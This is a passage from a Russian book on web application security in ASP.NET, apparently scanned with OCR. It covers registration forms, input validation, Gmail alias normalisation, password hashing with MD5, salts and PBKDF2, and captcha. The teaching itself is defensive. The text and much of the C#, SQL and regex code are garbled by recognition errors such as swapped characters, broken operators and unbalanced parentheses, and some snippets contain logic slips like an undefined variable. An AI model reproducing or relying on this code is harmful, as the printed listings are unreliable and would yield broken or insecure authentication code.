одновременно писал код, писал текст книги и продолжал работать на своем рабочем месте, выполняя ежедневные обязанности.
2.2. Регистрация пользователей
Я специально создал (и, надеюсь, вы тоже) приложение с пустым шаблоном. Мастер создания нового проекта Visual Studio может сгенерировать код, использующий встроенные механизмы авторизации, подготовленные для разработчиков программистами Microsoft, но мы напишем свой собственный код регистрации — во- первых, потому что это не сложно, а во-вторых, такой подход даст нам возможность заодно обсудить некоторые вопросы безопасности. При этом вы будете иметь полный контроль над каждым шагом разработки.
Для небольших сайтов важна скорость разработки. Для больших — необходимы контроль и гибкость.
Хорошая форма регистрации запрашивает от посетителя минимальное количество данных, и это не только вопрос кода, но еще и маркетинга. Чем проще посетителю зарегистрироваться, тем лучше.
Никогда не просите посетителя вводить email дважды — в этом нет никакого смысла. Если посетитель хочет указать свой реальный email, то он, скорее всего, не ошибется. Очень часто посетители просто копируют адрес электронной почты в поле подтверждения, и если кто-то ошибся в первом поле адреса, то ошибка будет скопирована и во второе поле. Вместо подтверждения ввода, лучше проверять email с помощью отправки уникального кода на почтовый ящик посетителя и проверять уже его.
Обязательно проверяйте пароль на сложность. Вот тут маркетинг может быть с вами не согласен, потому что посетители не любят выбирать сложные пароли, но репутация стоит очень дорого.
Форма регистрации весьма подвержена флуду, поскольку хакер может сгенерировать большое количество аккаунтов. Как это повлияет на работу сайта? Скорее всего, никак — это только создаст мусор в базе данных, а вот на репутацию повлиять может. В Интернете есть много баз имен и email посетителей, которые были украдены с других сайтов. Хакер может использовать эту информацию в качестве словаря, чтобы зарегистрировать для каждого email из этой базы новый аккаунт на вашем сайте. И тут есть два репутационных риска:
□ вы создали аккаунт и, возможно, прислали ничего не подозревающему владельцу email приветственное сообщение. Такие сообщения могут вызвать негативную реакцию;
□ реальный посетитель пытается зарегистрироваться на сайте, а ему сообщают, что его аккаунт уже есть. Это выглядит непрофессионально и вызывает вопросы в отношении безопасности сайта.
Подобные небольшие проблемы легко решаются путем добавления капчи на страницу регистрации (см. разд. 2.6).
Аутентификация и авторизация 51
При регистрации посетителей мы будем сохранять данные в таблице user, которая создается следующим образом:
create table [User] (
Userid int identity(1, 1) primary key,
Email nvarchar(50),
Password nvarchar(100),
Salt nvarchar(50),
Fi rs tName nva rcha r(5 0),
LastName nvarchar(50),
Profilelmage nvarchar(200), Status int
)
В таблице user мы станем хранить:
О Email — адрес электронной почты;
□ Password — пароль;
□ Salt — соль;
□ Firs tName — ИМЯ;
□ LastName — фамилию;
□ Profilelmage — фотографию профиля;
□ status — статус.
2.3. {орма регистрации
Приступим непосредственно к программированию и в его процессе обратим внимание на вопросы безопасности. Я создал простую форму для регистрации, которая запрашивает только email и пароль (рис. 2.2). Никакой защиты от спама пока нет — есть только проверки на правильность данных.
Полный код формы можно найти в папке MyBlog сопровождающего книгу файлового архива, а сейчас мы посмотрим на наиболее интересные его части. Так, в файле registerXindex.cshtml содержится код формы для ввода данных:
<form method=’’post”>
<Р>
<label>Email</label>
<input class=”form-input” type=”text” name=”email” value=”@Model.Email” />
<div class=”error”>@Html.ValidationMessageFor(m => m.Email)</div>
</p>
<P>
<labe1>Пароль </labe1>
<input class="form-input” type=’’password” name=’’Password” value=’”’ />
<div class=”error”>@Html.ValidationMessageFor (m => m. Password) </div>
52
Гпава 2
<span class="hint”>
Пароль должен:<br />
- Минимум 10 гимволов<Ьг />
- Хотя бы одна маленькая буква<Ьг />
- Хотя бы одна большая буква<Ьг />
- Хотя бы один символ из ’ &атр;#$%л&*-<Ьг />
</span>
</р>
<butЪоп>3арегистрировать ся</button>
</form>
• • • П - < ® Й +
MyBlog Главная Регистрация
Регистрация
Email
Пароль
Пароль должен:
- Минимум 10 символов
- Хотя бы одна маленькая буква
- Хотя бы одна большая буква
- Хотя бы один символ из !&#$%л&*-
© 2022 - MyBlog - Privacy
Рис. 2.2. Форма регистрации
Как видите, я почти не использую возможности ASP.NET, а предпочитаю чистый HTML. Я просто не вижу выгоды от использования помощников — таких как eHtmi.BeginForm. На безопасность они не влияют, а в больших компаниях очень часто за верстку отвечает специальный человек, который пишет всё на чистом HTML, поэтому после верстки я не люблю вносить лишние изменения, а оставляю всё на максимально чистом HTML.
Если вы предпочитаете использовать помощников, то продолжайте в том же духе, потому что в рассматриваемом случае лучше выбирать то, к чему вы больше привыкли.
Для Отображения ЭТОГО представления нам Понадобится КОНГрОЛЛф Registercontroller, в котором метод index создает модель представления и отображает это представление:
Аутентификация и авторизация
53
RegisterViewModel model = new RegisterViewModel () ; return View (model);
2.3.1. Корректные данные регистрации
Самое интересное кроется в модели представления RegisterViewModel:
public class RegisterViewModel {
[Required(ErrorMessage = "Email обязательный”)]
[MaxLength(50)]
[EmaiLAddress (ErrorMessage = "Неверный email”)] public string? Email { get; set; }
[Required(ErrorMessage = "Пароль обязательный”)]
[MaxLength (50) ]
[RegularExpression("Л(?=.*?[A-Z])(?=.*?[a-z])(?=.*?[0-9])(?=.*?[!@#$%
Л&*-]).{10,}$”, ErrorMessage = "Пароль слишком простой”) ] public string? Password { get; set; } }
Я фанат декларативного подхода и рад, что Microsoft тоже любит его. Когда нужно начать с защиты данных и указать какие-то проверки, то следует сначала посмотреть, есть ли уже готовый атрибут, который может проверить данные. Если есть, то используйте его.
В своем примере я использую четыре атрибута:
□ Required — указывает на то, что следующее поле является обязательным и не может быть пустым;
□ MaxLength — позволяет указать максимальный допустимый размер строки для свойства;
□ EmaiLAddress — проверяет корректность формата email-адреса. Для этой цели можно задействовать регулярное выражение, но если для определенных случаев есть специальные атрибуты, то лучше использовать их;
□ ReguiarExpression — позволяет задать регулярное выражение для проверки данных. Здесь я указываю, что длина пароля должна быть не менее 10 символов, в строке пароля должны присутствовать хотя бы одна большая буква, одна маленькая, одна цифра и один символ из набора: !@#$л&*-.
Очень важно проверять параметры как можно лучше. Чем тщательнее вы проверите данные, тем меньше потом будет исключительных ситуаций. Если забыть указать MaxLength, то впоследствии на рабочих серверах хакеры смогут передать на сервер слишком большую строку и заставить сервер генерировать ошибку. А значит, ошибки будут попадать в журнал и создавать там шум.
Пока этих проверок достаточно для того чтобы двинуться дальше по пути создания собственной регистрации посетителей.
54
Глава 2
Если нужно делать дополнительные уникальные проверки, для которых нет готовых атрибутов, класс может реализовывать интерфейс ivaiidatabieObject, и тогда можно написать в методе validate любые проверки:
public IEnumerable<ValidationResult> Validate( Validationcontext validationcontext)
{ if (Password == ’’Qwert! 2345”) {
yield return new ValidationResult( ’’Пароль слишком простой”, new [] { ’’Password” } );
} }
Здесь я просто проверяю пароль на соответствие чему-то простому, но можно сделать и более сложные проверки. Как говорят на английском: «С# is the limit», что означает: «Только C# является пределом для проверок».
У такого подхода есть два недостатка. Во-первых, метод validate будет вызван только тогда, когда все проверки атрибутами прошли успешно. Мой опыт подсказывает, что маркетинг такое не очень любит, да и меня это часто бесит. Посетитель заполняет форму и получает список ошибок, которые вычислили атрибуты. Он исправляет их... и начинается проверка методом validate, из которой он узнает, что пароль слишком простой или еще что-то не так.
Самое страшное, что по правилам безопасности мы не можем разрешить дозапол- нить пароль: после отправки формы в случае ошибки поле пароля очищается, и его приходится вводить каждый раз заново. Это раздражает посетителей. Поэтому по возможности надо отображать все ошибки за раз. И чтобы это отображение было органичным, можно отказаться от атрибутов и все проверки делать в методе Validate.
Еще одна проблема кроется в том, что модель не должна иметь никаких зависимостей. Например, при регистрации может потребоваться проверка наличия существующего посетителя с подобным email. Если такой посетитель уже существует, то повторная регистрация должна быть невозможна. Где сделать такую проверку? Чтобы это происходило в методе validate класса модели представления, нам нужно добавить доступ к бизнес-логике, которая будет производить проверку, но тогда произойдет ошибка автоматического создания модели при отправке формы.
Как вариант, можно сделать дополнительный уровень проверки в уровне бизнес- логики и вызывать его из контроллера. В бизнес-логике может быть класс: public class Authentication: lAuthentication {
private readonly lAuthenticationDAL authenticationDAL; private readonly IHttpContextAccessor httpContextAccessor;
public Authentication(lAuthenticationDAL authenticationDAL, IHttpContextAccessor httpContextAccessor)
Аутентификация и авторизация
55
{
this.authenticationDAL • authenticationDAL;
this.httpContextAccessor » httpContextAccessor; }
public async Task<ValidationResult?> ValidateEmail(string? email)
{
if ((String.IsNullOrEmpty(email))
var nemail - MyBlog.BL.Auth.BiHelpers.NormilizeEmail(email);
var user =
await authenticationDAL.GetUserByNormalizedEmail(nemail);
if (user.Userid != null)
return new ValidationResult("Email уже существует");
} return null;
}
I
Полный код класса Authentication можно найти в файловом архиве, сопровождающем книгу, а здесь я только хотел показать, что проверки могут быть реализованы и на уровне бизнес-логики, причем метод работает совершенно таким же образом, как и в модели представления. Если уровень данных возвращает запись для пользователя с указанным email, то такой посетитель уже существует.
Почему я проверяю свойство userid на null:
if (user.Userid I* null)
return new ValidationResult("Email уже существует");
а не сам объект:
if (user !- null)
return new ValidationResult("Email уже существует");
Это как раз относится к вопросу, который я рассматривал в разд. 1.6, — про стабильность приложения. Я стараюсь писать код, в котором nui 1-значения используются только там, где необходимо, и предпочитаю избегать случаев с возвращением нулевых значений, когда нужно вернуть объект. Свойства могут иметь null- значения, а вот в случае с объектами я стараюсь этого не допускать. Повторюсь — это не общая рекомендация для программистов, а мое личное предпочтение из собственного опыта: писать код так, чтобы избежать NuiiException, и только для тех случаев, когда это имеет смысл.
Функция Getuser должна возвращать объект с данными посетителя, и если он не найден, функция вернет не null, а пустой объект. С точки зрения логики это воспринимается так: если посетитель найден, значит, он есть в базе данных и авторизован. Если не найден, то это анонимный посетитель (пустой объект).
56
Гпава 2
Мне доводилось работать с несколькими фирмами, специализирующимися на безопасности, и некоторые из них достаточно жестко подходили к вопросам отображения сообщений об ошибках в случае, когда посетитель уже есть в базе данных. Они могли потребовать, чтобы форма регистрации не показывала ошибки в стиле «такой email уже существует». По их мнению, это дает хакеру четко понять, что посетитель реально существует и можно производить атаку перебором пароля или атаковать с использованием социальной инженерии.
Мне как-то довелось спорить со службой безопасности на эту тему, и вот мой ответ на это их требование: перебор паролей и социальную инженерию хакер может начать применять, даже если точно не знает, зарегистрирован ли посетитель на сайте или нет. Письмо с социальной инженерией направить не сложно. Перебор займет время, но у хакера оно есть.
Служба безопасности попробовала аргументировать тем, что хакер может создать список зарегистрированных на сервисе посетителей и как-то его использовать. Мой ответ на это находит подтверждение на сайте Google — даже Google не особо волнуется по этому поводу и возвращает ошибку сразу же, как только вы попытаетесь ввести уже занятый кем-то email во время регистрации в сервисе (рис. 2.3).
Google
Create your Google Account
First name Last name
Mikhail Flenov
x Username Mikhail @gmail.com
О That username is taken. Try another.
Рис. 2.3. Регистрация пользователя на сайте Google
Я не знаю, появится ли здесь капча, если мы начнем пробовать перебирать различные email, но наша форма точно будет с ее помощью защищена, и об этом мы поговорим в разд. 2.6. Достаточно поставить на форму регистрации капчу, и мы защитимся от автоматического подбора, а также сделаем жизнь хакера сложнее.
Если же пытаться показывать неконкретные ошибки и не говорить посетителю, что в реальности его email уже зарегистрирован, то мы больше проблем создаем простым посетителям, а не хакерам. Так что лично я не поддерживаю идеи завуалированных сообщений, если email уже существует. Говорите прямо — так, как это делает Google.
Аутентификация и авторизация
57
2.3.2. Email с плюсом и точкой
У Gmail есть очень простой, но хороший способ получить бесконечное количество email-адресов, и для этого не нужно ничего делать. Достаточно просто зарегистрировать на Gmail один почтовый ящик. Допустим, у вас есть ящик с именем haha@gmail.com. А теперь два великолепных трюка, которые нередко игнорируются программистами, хотя они реально опасны для владельцев сайтов:
□ Gmail игнорирует любые символы после знака «плюс». Это значит, что адреса haha+l@gmail.com, haha+2@gmail.com, haha+3@gmail.com и подобные абсолютно идентичны. Пошлите письмо на любой из этих адресов, и все они приземлятся в один и тот же почтовый ящик: haha@gmail.com. Получается, что с одним почтовым ящиком можно зарегистрировать просто огромнейшее количество подтвержденных аккаунтов на сайтах, где программисты не знают о такой особенности почты или просто игнорируют ее.
Идея у Google была неплохой, потому что они захотели позволить с одним почтовым ящиком создавать себе псевдонимы типа haha+friends@google.com или haha+work@gmail.com, а в реальности создали весьма удобный инструмент для хакеров и спамеров;
□ Gmail игнорирует точки. Тут уже желательно зарегистрировать имя как можно длиннее. Но я это покажу на примере упомянутого короткого ящика — т. е. ящики h.aha@gmail.com, h.a.ha@gmail.com и подобные точно так же являются псевдонимами для haha@gmail.com.
Эти особенности почты Gmail очень удобны во время разработки, но на рабочих серверах я рекомендую запретить посетителям указывать + в email-адресах, если это gmail-аккаунт.
А как поступить с точкой? Может, убрать ее из email и хранить адрес в базе данных без точек? У меня в базе данных имелось два поля для электронного адреса: Email и NormaiizedEmail. Первое поле хранило то значение, которое вводит посетитель, и именно оно должно было использоваться для авторизации и для отправки любых электронных писем. Второе — NormaiizedEmail — содержало версию email-адреса без точек и без плюсов. И именно его я использовал для того чтобы проверять уникальность посетителей.
В MS SQL Server можно задействовать вычисляемые поля и в них с помощью функции убирать все лишнее из email-адреса, но тогда расчеты будут производиться в базе данных, и это далеко не самый быстрый способ. При нагруженных сайтах лучше не вешать лишние расчеты на базу данных. Email-адрес обычно сохраняется в базе данных только один раз и меняется редко, поэтому я предпочитаю заранее рассчитать его и создать индекс, который сделает поиск по полю очень быстрым.
Итак, теперь мы знаем, зачем нужно поле NormiiizedEmaii, поэтому добавим его:
alter table [User] add NormiiizedEmaii varchar(255);
58
Гпава 2
А вот простейшая функция нормализации email:
public static string NormilizeEmail (string email) {
var parts = email.Split(’ 0 ’);
if (parts.Length != 2)
return email;
string name = parts[0].Replace(”.”, ””);
if (name.IndexOf(”+”) > 0)
name = name.Substring(0, name.IndexOf(”+”));
return name + ”0” + parts[1]; }
Красивее было бы сделать это с помощью регулярных выражений (RegEx), но я решил оставить так, — чтобы по шагам было видно, что происходит.
2.4. Хранение паролей
Прежде чем мы рассмотрим реализацию создания посетителей, давайте познакомимся с паролями и с тем, как их нужно хранить.
Если на вашем сайте есть авторизация, то, скорее всего, вам придется хранить имена посетителей и их пароли. В наше время вместо имени посетителя принято использовать его email-адрес, чтобы посетитель помнил и вводил меньше информации. Вместо пароля можно применить авторизацию с помощью популярных сервисов, которые предоставляют возможность авторизовываться на других сайтах. Самыми известными такими сервисами являются некоторые социальные сети, Google, а также, например, «Яндекс» и Mail.ru.
Я всё больше предпочитаю осуществлять авторизацию с помощью социальной сети или поисковых гигантов, потому что мне тогда не нужно помнить пароли для всех сайтов, которыми я пользуюсь. К тому же я точно уверен, что мой пароль не сохраняется на каждом сайте, куда я захожу, а значит, он не может быть украден.
С точки зрения программиста, использование только таких сервисов позволяет вовсе не хранить на своих сайтах пароли посетителей, и в последнее время всё больше людей доверяют авторизацию социальным сетям или поисковым гигантам, но есть и те, кто хочет иметь уникальный аккаунт, не привязанный к социальной сети или поисковой системе. Кто-то связывает это с приватностью, а кто-то просто не пользуется социальными сетями.
Впрочем, некоторые сайты и веб-приложения тоже не поддерживают авторизацию с помощью социальных сетей — это, например, банки и государственные структуры.
Получается, что пароли не умерли, и приходится поддерживать авторизацию паролями, а значит, их нужно безопасно хранить. Утечки паролей с сайтов различного размера появляются на главных страницах интернет-изданий с завидной регулярностью. Некоторые страны вводят даже штрафы за утечки данных.
Аутентификация и авторизация
59
Почему безопасное хранение паролей так важно? На это есть несколько причин, но рассмотрим здесь только одну из них. Разовая утечка паролей может стать причиной множества взломов, потому что посетители очень часто выбирают один и тот же пароль для различных сайтов. Получив базу имен и паролей социальной сети — такой, например, как Microsoft, можно попробовать использовать эти имена и пароли для входа на другие сайты, и есть большая вероятность, что пароли подойдут. Сколько бы специалисты по безопасности ни говорили об этом, посетители все равно продолжают использовать один и тот же пароль для всех сайтов, на которые они заходят.
А что, если мы зашифруем пароль и будем хранить его в зашифрованном виде, а при проверке просто расшифровывать? Хорошая идея, но не самая безопасная. Если хакер узнает алгоритм шифрования и получит необходимые ключи, то сможет расшифровать всю базу данных. Такие случаи уже происходили в истории ИТ.
В примерах этой книги я не буду реализовывать какие-нибудь существующие алгоритмы шифрования или придумывать новые. Книга не про шифрование, и для программистов достаточно знания существующих реализаций.
Я предпочитаю использовать готовые и имеющиеся в платформе решения, потому что их создавали профессиональные программисты, которые потратили много сил и времени на их разработку и тестирование. Если же попытаться реализовать какой-то алгоритм самостоятельно и совершить ошибку, то все ваши трудозатраты окажутся бессмысленными.
2.4.1. Хеширование
Более безопасным способом хранения паролей является вариант с их хешированием — с помощью функции, которая преобразовывает данные без возможности восстановить их исходную оригинальную версию.
Самый простой вариант показать хеширование — это применить деление без остатка. Допустим, что у нас есть числа от 0 до 100, и мы используем в качестве способа хеширования деление на число 10 без остатка. Получается, что числа от 0 до 10 дадут хеш-сумму равную 0, числа от 1 до 10 дадут число 1 и т. д. Теоретически это уже хеширование, потому что, зная хеш, мы математически не можем получить точное число, которое было зашифровано функцией хеширования.
Использование хеширования дает нам возможность не хранить оригинальный пароль — достаточно только сохранять в базе данных его хеш. Когда посетитель авторизуется и вводит свой пароль на странице входа на сайт, мы можем рассчитать хеш для введенных данных и сравнить их со значением хеша этого пароля в базе.
Допустим, оригинальный пароль — это 55, и в базе данных мы храним 5 (при условии, что функция хеширования здесь — это деление на 10 без остатка). Посетитель авторизуется и вводит свой пароль: 55. Мы рассчитываем хеш, который дает такой же результат: 5, и сравниваем эти значения. Но тут сокрыта проблема — слишком большое количество коллизий, потому что 10 различных чисел будут давать один и тот же результат.
60
Гпава 2
Так что использование деления без остатка — ужасный способ с точки зрения хеширования паролей из-за коллизий, но хороший пример для иллюстрации принципа хеширования на реальных цифрах.
2.4.2. МЬ5-хеширование
Долгое время надежным методом хеширования считался алгоритм MD5, который был практически стандартом ИТ-индустрии. Но несколько лет назад этот алгоритм перестал считаться безопасным, потому что и у него также нашлось много коллизий. Не так много, как у деления без остатка на 10, но все же достаточно для того, чтобы подобрать пароль.
И несмотря на то что функция MD5 не рекомендуется больше к использованию, я тем не менее расскажу о ней здесь, потому что она отлично подходит для иллюстрации истории проблемы безопасности, а историю нужно знать и учить, чтобы не повторять ошибок прошлого.
MD5 — это функция хеширования, которая превращает строку произвольной длины в строку фиксированной длины из 128 битов. Обратное преобразование математикой невозможно, и, в отличие от функции деления без остатка, соседние числа будут иметь совершенно разные хеш-значения. То есть хеши для чисел 1 и 2 окажутся совершенно разными, и поэтому MD5 лучше подходит для хранения паролей.
В .NET для работы с шифрованием имеется пространство имен System. Security. Cryptography, в котором есть класс MD5.
Далее я воспользуюсь в примерах несложным интерфейсом lEncrypt, который будет просто хешировать пароли:
public interface lEncrypt {
string HashPassword(string password);
}
Возможная реализация этого интерфейса на C# с использованием MDS-хеширо- вания может выглядеть так:
public class Md5Encrypt: lEncrypt
{
public string HashPassword(string password)
{
MD5 md5hash = MD5.Create();
byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes(password);
byte[] hashBytes = md5hash.ComputeHash(inputBytes);
return Convert.ToHexString(hashBytes);
}
}
Аутентификация и авторизация 61
Если теперь запросить хеш для пароля Test:
lEncrypt encrypt = new Md5Encrypt();
string hash = encrypt.HashPassword("Test");
то функция вернет нам вот такое значение:
0CBC6611F5540BDO809A388DC95A615B
Обратно в слово Test этот код математическим путем превратить нельзя.
Отлично, теперь у нас в базе данных будет храниться такого вида абракадабра, и когда посетитель станет авторизовываться, мы сможем хешировать введенное им значение пароля по алгоритму MD5 и результат этого хеширования сравнить с тем, что хранится в базе данных. А если хакеры получат доступ к базе данных с хешами паролей, то они все равно никогда не узнают сами пароли.
Ну я бы не торопился говорить «никогда»... Дело в том, что хеш-сумма для одного и того же пароля всегда одна и та же. Эго значит, что мы можем рассчитать MDS- суммы для всех возможных паролей и сохранить их в базе данных, где в таблице будут всего два поля: хеш-сумма и соответствующий ей пароль. Да, получится достаточно большая база данных, но при нынешних ценах на компьютеры и жесткие диски такое вполне реально сделать. А если заставить создать такую таблицу целую сеть из компьютеров, то задача становится решаемой уже в короткий срок.
Существует сайт3, на котором имеется такая таблица соответствия различных значений MDS-суммам. Достаточно только загрузить страницу4, ввести там в соответствующее поле наш результат из недавнего примера: 0CBC66HF5540BD0809A388DC95A615B, и уже через секунду сайт покажет, что он нашел соответствие и этой хеш-сумме соответствует СЛОВО Test.
Вторая проблема — коллизий. Есть и другие слова, которые дадут тот же результат.
Третья проблема MD5 — это достаточно простой его алгоритм, и для генерации большого количества значений сейчас требуется относительно мало ресурсов. Лет 30 назад расчет всех чисел занимал достаточно продолжительное время, а на современных процессорах и видеокартах можно относительно быстро перебрать большое количество значений. Да, современные компьютеры стали серьезной проблемой для безопасников — перебор становится быстрее и быстрее.
Как сделать так, чтобы пароль был более безопасным и для него нельзя было сгенерировать таблицу готовых значений? Когда мы готовим какое-нибудь блюдо, то для придания ему вкуса мы иногда добавляем соль, если только это не десерт. Точно так же мы можем добавить что-то к паролю, и эту добавку так и называют— солью (salt). Тогда для каждого посетителя мы сможем генерировать уникальную последовательность, которая будет выполнять роль соли, — для этой цели неплохо
3 См. www.Bd5onliiie.org.
4 См. https://www.nd5online.org/nid5-decrypt.htBil.
62
Глава 2
подходит слово Guid. К полученной соли можно добавить пароль и только после этого получить уже уникальную хеш-сумму.
Соответствующая реализация хеширования будет выглядеть следующим образом:
public string HashPassword(string password, string salt)
MD5 md5hash = MD5.Create();
byte[] inputBytes = System,Text.Encoding.ASCII.GetBytes( salt + password
);
byte[] hashBytes = mdbhash.ComputeHash(inputBytes);
return Convert.ToHexString(hashBytes);
Теперь функция принимает два параметра: пароль и соль. Вот пример использования новой функции:
string password = "Test";
string salt = Guid.NewGuid().ToString();
lEncrypt encrypt = new Md5Encrypt();
string hash = encrypt.HashPassword(password, salt);
В моем случае этот код сгенерировал новый Guid (соль):
903a3ea6-6814-4a54-9bc9-db7d3albfbdd
который потом я объединил с паролем:
903a3ea6-6814-4a54-9bc9-db7d3albfbddTest
и получил хеш:
E894F54CD537BFF4724E5CA3941D1178
Для дальнейшей авторизации я должен сохранить в базе данных и соль, и хеш.
Проверим эту хеш-сумму с помощью сайта www.md5online.org — введем ее в там поле поиска и проверим, знает ли он, чему равна сумма. В результате я увидел: No result found in our database (В базе данных соответствия не найдено). Отлично! Получается, что и хакер не сможет найти оригинальное значение, и это прогресс, хотя даже такой подход считается не самым безопасным. Более безопасный с точки зрения специалистов по безопасности вариант мы рассмотрим в разд. 2.4.2.
Честно говоря, в моей реализации тоже вероятность проблемы минимальна. Дело в том, что я объединяю пароль с солью в одну строку и потом получаю MDS-сумму. Вероятность, что именно такая пара будет находиться на сайте www.md5online.org, практически равна нулю, поскольку, чтобы сгенерировать два одинаковых Guid, нужно очень сильно постараться, — Microsoft создала алгоритм его создания так,
Аутентификация и авторизация
63
что повторения практически невозможны. Создать такую базу данных, где будут все Guid, тоже невозможно.
Единственное, что может возникнуть, — это коллизия. Например, какое-то другое слово даст такую же хеш-сумму. Например, пароль:
903a3ea6-6814-4a54-9bc9-db7d3albfbddTest
и слово Bluecar может дать одну и ту же хеш-сумму hash. Но от этого безопасность не пострадает. Если хакер декодирует hash в Bluecar, он все равно не сможет авторизоваться на сайте, потому что в слове Bluecar нет соли.
Хакеру нужно найти такую коллизию, которая будет также начинаться с того же уникального идентификатора, иначе не получится авторизоваться из-за соли. Так как уникальный идентификатор потому и называется уникальным, что он очень уникален, я не представляю себе такую коллизию. Но я не эксперт в шифровании, поэтому не буду утверждать, что этот способ безопасен. Верим специалистам и не используем MD5.
Итак, когда посетитель авторизуется в системе, он вводит email и пароль, мы находим по email соль и хеш и проверяем, совпадают ли они. Допустим, что у нас есть следующая функция, которой передаются введенные посетителем email и пароль:
public async Task<bool> Authenticate(String email, String password) {
UserAuthModel user = await authenticationDAL.GetUser(email);
lEncrypt e = new Md5Encrypt();
if (userdata.password == e.HashPassword(password, userdata.salt)) { return true;
} return false;
}
Пароль userdata.password — это хеш, по крайней мере, он должен быть таким. Функции HashPassword я передаю полученный пароль и соль, которая взята из базы данных. Если результат функции совпадает с тем, что сохранено, пользователь авторизован.
И это решение невозможно взломать с помощью перебора по словарю. Хеш рассчитывается для значения, в котором есть соль, и эта соль уникальна для каждого посетителя. Хакеры просто будут не в состоянии создать таблицы для каждого возможного Guid.
По словарю — невозможно, остается только перебор, и как быстро это будет сделано с помощью современного «железа» — это уже вопрос к криптографам.
Я не буду полностью реализовывать это решение, потому что оно не является самым безопасным на текущий момент с точки зрения специалистов, — это только идея того, как может быть реализована проверка. В следующем разделе мы познакомимся с признанным вариантом проверки.
64
Глава 2
2.4.3. Безопасное хеширование
Поскольку хеш-коды слишком короткие, существует отмеченная в предыдущем разделе вероятность коллизии, и поэтому сейчас использование MD5 не рекомендуется. Вместо этого предлагаются к реализации алгоритмы SHA256 или даже SHA512. Есть рекомендация несколько раз шифровать пароль, что сделает перебор более долгим.
Давайте рассмотрим более современную функцию, которую Microsoft предоставляет нам для хеширования паролей. Для этого я создал еще один класс: Pbkdf2Encrypt, который основан на том же самом интерфейсе и реализует функцию HashPassword следующим образом:
public string HashPassword(string password, string salt) {
MD5 mdbhash = MD5.Create();
byte[] saltBytes = System.Text.Encoding.ASCII.GetBytes(salt);
return Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: saltBytes, prf: KeyDerivationPrf.HMACSHA512, iterationcount: 100000, numBytesRequested: 512 / 8));
}
В результате будет создан намного более длинный хеш, который лучше защищен от коллизий:
G8qBbsrlQiX8G6dM3p2BKHSZHHulK2H9vh6IlRMa7txL5HL3mogL7Iv2RZrXJRpnfWAWaSdliyoJbMA 2PMn6hw=
Мы также должны будем сохранять хеш и соль в базе данных и потом использовать эту информацию для аутентификации. Для хранения такого зашифрованного пароля нужно выделить достаточно пространства, потому что здесь аж 89 символов, так что я для примера выделил в базе данных 100 символов.
2.4.4. И еще немного о безопасности
Есть рекомендации использовать алгоритмы, которые потребуют большого количества оперативной памяти или очень большого количества процессорного времени, как это бывает с блокчейнами. Смысл их в том, чтобы хакеру понадобилось слишком большое количество ресурсов на генерацию, что сделает перебор невозможным.
Большие ресурсы для реализации таких алгоритмов можно задействовать на серверах современных облачных систем. Но и тут есть проблема. Если расчет каждого хеша при аутентификации посетителя потребует гигабайта оперативной памяти и большого количества ресурсов, то это способно вызвать отказ в обслуживании.
Аутентификация и авторизация 65
Хакер может атаковать страницы регистрации и авторизации (когда происходит проверка и шифрование), и сервер начнет расходовать огромное количество памяти и ресурсов процессора, которых не хватит на другие запросы.
2.5. Создание посетителей
Теперь мы готовы создать посетителя с зашифрованным паролем и тут же авторизоваться на сайте.
В контроллере у нас уже есть метод для регистрации посетителя, который производит проверки данных:
[HttpPost]
[Route("/Register”)]
public async Task<IActionResult> IndexPost(RegisterViewModel model) {
var emailError = await authentication.ValidateEmail(model.Email);
if (emailError != null)
Modelstate.TryAddModelError("Email”, emailError.ErrorMessage!);
if (Modelstate.IsValid)
{
await authentication.CreateUser(model.ToUserModel());
return Redi rect(”/”);
}
return View(”Index”, model);
}
Для простоты реализации я для регистрации вызываю метод уровня бизнес-логики CreateUser, которому передается модель с данными, введенными посетителем.
Метод создания посетителя может выглядеть так:
public async Task<int> CreateUser(UserModel user) {
user.Salt = Guid.NewGuidO .ToStringO ;
user.Password = encrypt.HashPassword(user.Password, user.Salt);
int id = await authenticationDAL.CreateUser(user);
this.Login(id); return id;
}
Здесь я генерирую новое значение соли, которое тут же используется для хеширования пароля, потому что, как это уже неоднократно подчеркивалось, в чистом виде пароль никогда не должен храниться.
Теперь мы готовы вызвать метод уровня работы с данными для непосредственного создания данных В базе authenticationDAL.CreateUser И метод бизнес-ЛОГИКИ ДЛЯ
66
Глава 2
входа на сайт this. Login, который пока просто сохраняет в сессии идентификатор текущего посетителя:
public void Login(int id) {
httpContextAccessor?.HttpContext?.Session.Setlnt32("userid”, id);
}
Пока процесс регистрации не полностью безопасен, но я хотел закончить цикл регистрации, чтобы далее мы могли уже рассуждать, имея конкретный пример, на котором можно тестировать безопасность.
2.6. Captcha
Форму регистрации нужно защищать от спама. Хакеры могут написать программу, которая будет автоматически загружать форму регистрации и генерировать посетителей в нашей базе данных.
Один из сайтов, который я поддерживал, попал под такую атаку, и за пару дней на нем было сгенерировано более 60 тысяч аккаунтов. Я тогда предупреждал владельца сайта, что на странице регистрации необходимо сделать защиту от спама, но он хотел, чтобы процесс был максимально простым.
То, что хакеры сгенерировали такое большое количество аккаунтов, никак не повлияло на бизнес, — мы просто удалили их и поставили капчу (см. далее), так что ничего страшного эта атака не принесла.
Такая атака — не самая смертельная, потому что в большинстве случаев у нас в базе просто появятся мусорные аккаунты. Однако если хакер будет использовать для регистрации на сайте базу данных из реальных email-адресов, то он сможет зарегистрировать там аккаунты для них, и когда реальные владельцы почтовых ящиков станут на этом сайте регистрироваться, они с огромным удивлением узнают, что аккаунты у них там уже есть. Это больше вопрос престижа...
От спама желательно защищать все формы, которые добавляют какие-то данные в базу, и для этого отлично подходит капча (CAPTCHA) — сокращение от Completely Automated Public Turing test to tell Computers and Humans Apart (полностью автоматизированный публичный тест Тьюринга для различения компьютеров и людей). Смысл этого теста в том, что он должен определять, кто выполняет операцию: человек или компьютер.
Вы можете придумать и реализовать собственную защиту от спама и поддерживать ее. Но компьютеры сейчас становятся все умнее, их программы умеют распознавать образы, а современный искусственный интеллект уже управляет автомобилями. Поэтому, чтобы эффективно с ними бороться, вам придется постоянно улучшать и совершенствовать свой тест.
С развитием искусственного интеллекта защищаться от автоматического перебора становится все сложнее. Если вы строите сайт электронного магазина, то создание капчи не должно стать частью вашего решения. И я не советую вам делать защиту
Аутентификация и авторизация
67
самостоятельно — проще взять готовое решение от Google, а самим сосредоточиться на создании кода сайта. Пусть Google думает над тем, как отличить человека от компьютера.
2.6.1. Настраиваем Google reCAPTCHA
